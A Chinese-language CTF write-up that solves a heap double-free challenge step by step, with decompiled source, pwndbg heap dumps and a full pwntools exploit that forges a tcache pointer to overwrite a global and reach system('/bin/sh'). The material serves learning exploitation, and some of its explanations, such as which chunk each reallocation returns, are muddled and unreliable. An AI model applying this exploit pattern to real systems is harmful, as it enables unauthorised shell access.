前言
这道题是堆类型的一个题目,本来pwn就有点难,刚开始确实好难理解,也是理了很长时间
题目
源码如下:
int ID; // [sp+8h] [bp-78h]@2
int size; // [sp+Ch] [bp-74h]@3
char ptr[88]; // [sp+10h] [bp-70h]@1
__int64 v9; // [sp+68h] [bp-18h]@1
v9 = *MK_FP(__FS__, 40LL);
init();
globals1[0] = 0;
globals1[2] = 113;
v3 = 0LL;
memset(ptr, 0, 0x50uLL);
while ( 1 )
{
while ( 1 )
{
Menu();
printf("root@ubuntu:~/Desktop$ ", v3);
v3 = &Choice;
__isoc99_scanf("%d", &Choice);
ID %= 10;
if ( Choice != 1 )
break;
puts("please input id and size :");
__isoc99_scanf("%d", &ID);
v3 = &size;
__isoc99_scanf("%d%*c", &size);
v4 = ID;
*(_QWORD *)&ptr[8 * v4] = malloc(size);
puts("please input contet:");
gets(*(_QWORD *)&ptr[8 * ID]);
}
if ( Choice == 2 )
{
puts("please input id :");
v3 = &ID;
__isoc99_scanf("%d", &ID);
free(*(void **)&ptr[8 * ID]);
}
else if ( Choice == 3 )
{
puts("please input id :");
v3 = &ID;
__isoc99_scanf("%d", &ID);
puts(*(const char **)&ptr[8 * ID]);
}
else
{
if ( globals1[4] != 257 )
{
printf("exit!", &Choice);
exit(0);
}
puts("your are got it!");
system("/bin/sh");
}
}
}
前置内容
double free
是指程序对同一个堆块(chunk)进行了多次释放。堆管理器(比如一些glic中的ptmalloc2)在释放堆块时,会将其放入空闲链表中(比如tcache,fastbins等)。如果同一个堆块被多次释放,堆内部数据结构就会被破坏,从而导致漏洞。
原理
- 堆块的结构
在glibc中,堆块结构如下:
struct malloc_chunk {
size_t prev_size; // 前一个堆块的大小(如果前一个堆块是空闲的)
size_t size; // 当前堆块的大小(包括元数据)
struct malloc_chunk* fd; // 指向下一个空闲堆块(用于空闲链表)
struct malloc_chunk* bk; // 指向上一个空闲堆块(用于空闲链表)
};
- 释放堆块的流程
当调用free(ptr)时,堆管理器会:- 检查堆块是否合法
- 将堆块放入空闲链表(如tcahe或fastbins)
- 更新堆块的元数据(如fd和bk指针)
- double free的影响
如果一个堆被多次释放,堆管理器的空闲链表就会被破坏。
就比如说:- 第一次释放:堆块被放入空闲链表
- 第二次释放:堆块再次被放入空闲链表,导致链表出现循环
这种破坏可以被利用,通过重新分配堆块来控制堆管理器的内部指针,从而任意地址改写
题目分析
先检查文件
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
没有任何保护,是64位的,拉入64为的IDA进行分析
通过观察上面的代码,可以看出在这一块
if ( Choice == 2 )
{
puts("please input id :");
v3 = &ID;
__isoc99_scanf("%d", &ID);
free(*(void **)&ptr[8 * ID]);
}
存在一个double free漏洞,代码没有检车ptr[8*ID]是否已经被释放过,如果用户多次输入相同的ID,会导致同一个内存被多次释放,从而出发double free错误
再看这一块代码
if ( globals1[4] != 257 )
{
printf("exit!", &Choice);
exit(0);
}
puts("your are got it!");
system("/bin/sh");
可以看到,我们只要保证globals1[4]==257,对应十六进制是0x101,(将文件拖入IDA,可以看到globals1[4]对应地址是.bss段的0x00000000006010A0,)则可以直接运行system,获取权限
所以,可以总结为
- 构造double free
释放同一个堆块多次,构造循环链表 - 重新分配堆块
通过重新分配堆块,覆盖空闲链表中的指针 - 修改目标地址
将目标地址(0x6010a0)写入堆管理器的内部结构,再将globals1[4]的值改为0x101 - 触发漏洞
通过修改目标地址,触发漏洞
EXP
完整版exp如下,然后我一一演示一下
from pwn import *
io=process('./heap_Double_Free')
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io=remote('1.95.36.136', 2093)
elf=ELF('./heap_Double_Free')
def cmd(x):
io.recvuntil(b"root@ubuntu:~/Desktop$ ")
io.sendline(x.encode())
def molloc(id,size,content):
io.recvuntil("root@ubuntu:~/Desktop$ ")
io.sendline(b'1')
io.recvuntil("please input id and size :")
io.sendline(str(id))
io.sendline(str(size))
io.recvuntil("please input contet:")
io.sendline(content)
def free(id):
io.recvuntil(b"root@ubuntu:~/Desktop$ ")
io.sendline(b'2')
io.recvuntil(b"please input id :")
io.sendline(str(id))
def puts(id):
io.recvuntil(b"root@ubuntu:~/Desktop$ ")
io.sendline(b"3")
io.recvuntil(b"please input id :")
io.sendline(str(id))
def get_shell():
io.recvuntil(b"root@ubuntu:~/Desktop$ ")
io.sendline(b"4")
molloc(0,0x68,b'a'*0x68)
molloc(1,0x68,b'a'*0x68)
molloc(2,0x68,b'a'*0x68)
#构造double_free
free(0)
free(1)
free(0)
molloc(3,0x68,p64(0x6010a0))
molloc(4,0x68,p64(0x101))
molloc(5,0x68,p64(0x101))
molloc(6,0x68,p64(0x101))
#gdb.attach(io)
get_shell()
io.interactive()
其中封装的几个函数都是根据原来elf文件反汇编出来的c代码写出来的,这个无需多言,主要是下面的几个molloc和free容易搞混,请看VCR
分配堆块
molloc(0,0x68,b'a'*0x68)
molloc(1,0x68,b'a'*0x68)
molloc(2,0x68,b'a'*0x68)
分配3个大小为0x68的堆块(ID为0,1,2)这些堆块会被放入tcache或fastbins中
gdb调试后,可以看到堆信息如下:
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x20fd000
Size: 0x290 (with flag bits: 0x291)
Allocated chunk | PREV_INUSE
Addr: 0x20fd290
Size: 0x1010 (with flag bits: 0x1011)
Allocated chunk | PREV_INUSE
Addr: 0x20fe2a0
Size: 0x70 (with flag bits: 0x71)
Allocated chunk | PREV_INUSE
Addr: 0x20fe310
Size: 0x70 (with flag bits: 0x71)
Allocated chunk | PREV_INUSE
Addr: 0x20fe380
Size: 0x70 (with flag bits: 0x71)
Top chunk
Addr: 0x20fe3f0
Size: 0x1fa00 (with flag bits: 0x1fa00)
pwndbg> bins
tcachebins
empty
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty
先解释上面的heap部分
- 堆的起始部分:有一些较大的堆块(如0x20fd000和0x20fd290),可能是程序的初识堆分配或全局变量
- 分配的堆块:3个大小为0x68的堆块,地址分别是0x20fe2a0、0x20fe310、0x20fe380。每个堆块的大小为0x70(包括0x10的元数据),符合0x68的请求大小
- 顶部堆块(top chunk):地址为0x20fe3f0,用于未来的分配
然后是下面bins的部分:所有的bins都是空的,因为这时候还没有释放任何堆块
构造double free
free(0)
free(1)
运行完这两句后,显示如下:
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x23bc000
Size: 0x290 (with flag bits: 0x291)
Allocated chunk | PREV_INUSE
Addr: 0x23bc290
Size: 0x1010 (with flag bits: 0x1011)
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x23bd2a0
Size: 0x70 (with flag bits: 0x71)
fd: 0x23bd
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x23bd310
Size: 0x70 (with flag bits: 0x71)
fd: 0x23bf10d
Allocated chunk | PREV_INUSE
Addr: 0x23bd380
Size: 0x70 (with flag bits: 0x71)
Top chunk
Addr: 0x23bd3f0
Size: 0x1fa00 (with flag bits: 0x1fa00)
pwndbg> bins
tcachebins
0x70 [ 2]: 0x23bd320 —▸ 0x23bd2b0 ◂— 0
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty
可以看到之前申请的三个堆块,其中前两个被释放,放入了tcache中,fd指针指向下一个空闲堆块,形成了空闲链表。在tcachebins中有两个空闲堆块,形成了空闲链表
接下来在执行
free(0)
之后,再次释放了堆0,堆0再次被放入到空闲链表,导致空闲链表出现循环
此时,空闲链表的状态如下:
tcache: [chunk0] -> [chunk1] -> [chunk0] -> ...
重新分配堆块
molloc(3, 0x68, p64(0x6010a0))
molloc(4, 0x68, p64(0x101))
molloc(5, 0x68, p64(0x101))
molloc(6, 0x68, p64(0x101))
- 第一次
从空闲链表中取出chunk0,将chunk0的内容覆盖为0x6010a0(目标地址) - 第二次
从空闲链表中取出chunk1,将其内容覆盖为0x101(伪造的堆块元数据) - 第三次…chunk0,…0x101
- 第四次…chunk1,…0x101
通过以上方式,可以控制堆管理器的内部指针,从而实现任意地址写
总结
就这样,运行exp就可以获取权限了,总的来说,知识点就是double free漏洞的利用,但是由于对堆结构的不熟悉,在调试过程中遇到很多困难,加油~